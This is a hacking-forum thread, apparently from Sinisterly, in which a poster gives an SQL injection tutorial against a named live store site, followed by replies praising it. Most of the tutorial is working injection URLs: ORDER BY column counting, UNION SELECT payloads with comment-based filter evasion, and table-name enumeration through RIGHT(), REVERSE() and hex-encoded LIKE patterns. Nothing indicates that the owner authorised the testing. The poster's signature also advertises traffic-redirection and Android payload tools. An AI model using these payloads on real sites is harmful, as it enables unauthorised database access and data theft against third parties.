[spirited_wolf™]

so, hello Sinisterly members
Today i am here to share some experiments  

So, let's try  

Target::

PHP Code:

http://teamgear.us/store.php?id=1

Lets start with our normal injection.

http://teamgear.us/store.php?id=1'+ORDER+By+15-- - [No-error]

http://teamgear.us/store.php?id=1'+ORDER+By+16-- - [Error]

Mean their are 15 total number of columns. so, now lest try our union select query.

PHP Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -

so, columns==> 8 :: 5 :: 3 (2) are vulnerable cheerz.


Now lets start playing with our DIOS/and its output.

we will do everything on this type::

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

☆¸.•*☆Part 1☆¸.•*☆
About right() function:-

MySQL RIGHT() extracts a specified number of characters from the right side of a string.

Syntax:

PHP Code:

RIGHT(str,len)

str-the string from whose right side a number of characters are to be extracted.
len-An integer indicating the number of characters to be extracted from str.

so we can use

PHP Code:

concat (right(t.able_name,4<- or any thing))

so, our query will be

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (right(t.able_name,4)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

so as you can see our table invoices is just showing the 4 characeter of table name from right side ices.

so, same as we can use left() , mid() etc.

☆¸.•*☆Part 2☆¸.•*☆
About reverse()

MySQL REVERSE() reverses a string supplied as argument.

suppose :- spirit ->after reversing->tirips

so, we can use

PHP Code:

reverse(t.able_name)

so, lets try it out Thumbsup

PHP Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,concat (reverse(t.able_name)),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database()-- -

So, as you can see invoices reversed into seciovni

☆¸.•*☆Part 3☆¸.•*☆
About LIKE operator:-

So, first thanks to Janus for telling me about this.

so, the LIKE operator is used to search for a specified pattern in a column.

PHP Code:

SELECT column_name(s) FROM t able_name WHERE c olumn_name LIKE pattern;

for more details check here=> LIKE OPERATOR

so, we can use

PHP Code:

table_name like <your_pattern>

don't forget to hex your value before you use it (sometimes in single quote it doesn't work    )
so, now our query will be like::

lets just print those table name which is starting with =>i
i%=> 6925 don't forget to put 0x before it

Code:

http://teamgear.us/store.php?id=.1+/*!50000UNION*/+ALL+SELECT+1,2,3,4,5,6,7,group_concat/**_**/(t.able_name),9,10,11,12,13,14,15+f.rom+i.nformation_schema.tables where table_schema=database() and t.able_name like i% <-in hex-- -

Hope you learned something new in this thread  
Morpheus Redirect browser traffic to Google Sphere

[NetToolkit-4.6]Android payload module

[Part 1]$~Metasploit for beginners


Special thanks to:- CrackingForums,  and to all of you.

[Mr.Kurd]

I wanna make a tutorial about this but you beat me
Thank You

[Bish0pQ]

Nice tutorial man, keep it up with those. I'm sure they are of great help to members who are starting to learn SQLi.

[Skullmeat]

Its a bit cluttered tho. Try it without the quote tags?

[spirited_wolf™]

I wanna make a tutorial about this but you beat me
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's.

[spirited_wolf™]

Nice tutorial man, keep it up with those. I'm sure they are of great help to members who are starting to learn SQLi.

I hope so I'll post some more SQLI tutorials here.

[spirited_wolf™]

Its a bit cluttered tho. Try it without the quote tags?

I'm sorry i didn't get you bro.

[Mr.Kurd]

I wanna make a tutorial about this but you beat me
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's.

Yeah really sql injection is really big world
I will make a tutorial about bypassing redirect page while injecting but after my exams

[spirited_wolf™]

Its a bit cluttered tho. Try it without the quote tags?

I'm sorry i didn't get you bro. I'm not good with english.

[spirited_wolf™]

I wanna make a tutorial about this but you beat me
Thank You

Haha no problem you still can make tutorials on some related topics as you already know experiments with SQL can never end's.

Yeah really sql injection is really big world
I will make a tutorial about bypassing redirect page while injecting but after my exams

Wow you seems like you are from India. Aren't you? and yeah SQLI have no end.